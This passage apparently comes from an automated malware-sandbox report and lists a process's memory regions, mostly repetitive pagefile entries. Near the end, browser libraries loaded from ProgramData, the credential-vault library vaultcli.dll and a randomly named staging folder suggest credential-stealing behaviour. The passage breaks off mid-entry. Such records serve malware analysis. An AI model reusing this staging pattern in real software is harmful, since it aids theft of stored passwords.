pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 298 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 299 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 300 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 301 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 302 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 303 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 304 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 305 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 306 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 307 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 308 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 309 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 310 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 311 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 312 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 313 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 314 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 315 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 316 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 317 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 318 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 319 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 320 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 321 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 322 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 323 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 324 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 325 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 326 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 327 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 328 start_va = 0x1e00000 end_va = 0x1e13fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 329 start_va = 0x1e20000 end_va = 0x1e27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 330 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 331 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 332 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 333 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 334 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 335 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 336 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 337 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 338 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 339 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 340 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 341 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 342 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 343 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 344 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 345 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 346 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 347 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 348 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 349 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 350 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 351 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 352 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 353 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 354 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 355 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 356 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 357 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 358 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 359 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 360 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 361 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 362 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 363 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 364 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 365 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 366 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 367 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 368 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 369 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 370 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 371 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 372 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 373 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 374 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 375 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 376 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 377 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 378 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 379 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 380 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 381 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 382 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 383 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 384 start_va = 0x1e00000 end_va = 0x1e13fff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 385 start_va = 0x1e20000 end_va = 0x1e27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 386 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 387 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 388 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 389 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 390 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 391 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 392 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 393 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 394 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 395 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 396 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 397 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 398 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 399 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 400 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 401 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 402 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 403 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 404 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 405 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 406 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 407 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 408 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 409 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 410 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 411 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 412 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 413 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 414 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 415 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 416 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 417 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 418 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 419 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 420 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 421 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 422 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 423 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 424 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 425 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 426 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 427 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 428 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 429 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 430 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 431 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 432 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 433 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 434 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 435 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 436 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 437 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 438 start_va = 0x1e00000 end_va = 0x1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 439 start_va = 0x73880000 end_va = 0x739b3fff entry_point = 0x73880000 region_type = mapped_file name = "nss3.dll" filename = "\\ProgramData\\nss3.dll" (normalized: "c:\\programdata\\nss3.dll") Region: id = 440 start_va = 0x73850000 end_va = 0x73873fff entry_point = 0x73850000 region_type = mapped_file name = "mozglue.dll" filename = "\\ProgramData\\mozglue.dll" (normalized: "c:\\programdata\\mozglue.dll") Region: id = 441 start_va = 0x73810000 end_va = 0x73817fff entry_point = 0x73810000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 442 start_va = 0x73820000 end_va = 0x73843fff entry_point = 0x73820000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 443 start_va = 0x1e00000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 444 start_va = 0x28d0000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 445 start_va = 0x29d0000 end_va = 0x2aabfff entry_point = 0x29d0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll") Region: id = 446 start_va = 0x736d0000 end_va = 0x736f2fff entry_point = 0x736d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 447 start_va = 0x73700000 end_va = 0x73707fff entry_point = 0x73700000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 448 start_va = 0x73710000 end_va = 0x737ebfff entry_point = 0x73710000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll") Region: id = 449 start_va = 0x737f0000 end_va = 0x73804fff entry_point = 0x737f0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\SysWOW64\\vcruntime140.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140.dll") Region: id = 450 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 451 start_va = 0x73510000 end_va = 0x73580fff entry_point = 0x73510000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\SysWOW64\\msvcp140.dll" (normalized: "c:\\windows\\syswow64\\msvcp140.dll") Region: id = 452 start_va = 0x73590000 end_va = 0x736cefff entry_point = 0x73590000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 453 start_va = 0x77080000 end_va = 0x770b5fff entry_point = 0x77080000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 454 start_va = 0x1e40000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 455 start_va = 0x2ab0000 end_va = 0x2baffff entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 456 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 457 start_va = 0x734e0000 end_va = 0x73500fff entry_point = 0x734e0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 458 start_va = 0x29d0000 end_va = 0x29d3fff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 459 start_va = 0x29e0000 end_va = 0x29e7fff entry_point = 0x29e0000 region_type = mapped_file name = "c-shm" filename = "\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-shm") Region: id = 460 start_va = 0x734a0000 end_va = 0x734d5fff entry_point = 0x734a0000 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 461 start_va = 0x733d0000 end_va = 0x73494fff entry_point = 0x733d0000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 462 start_va = 0x29e0000 end_va = 0x29e4fff entry_point = 0x29e0000 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 463 start_va = 0x29f0000 end_va = 0x29fffff entry_point = 0x29f0000 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 464 start_va = 0x2a00000 end_va = 0x2a00fff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 465 start_va = 0x2a00000 end_va = 0x2a00fff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 466 start_va = 0x2a00000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 467 start_va = 0x2a00000 end_va = 0x2a13fff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 468 start_va = 0x2a20000 end_va = 0x2a27fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a20000" filename = "" Region: id = 469 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 470 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 471 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 472 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 473 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 474 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 475 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 476 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 477 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 478 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 479 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 480 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 481 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 482 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 483 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 484 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" filename = "" Region: id = 485 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a00000" 